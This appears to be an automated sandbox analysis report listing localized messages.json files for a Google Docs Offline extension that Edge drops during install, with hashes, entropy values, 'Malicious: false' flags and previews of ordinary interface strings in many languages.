Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
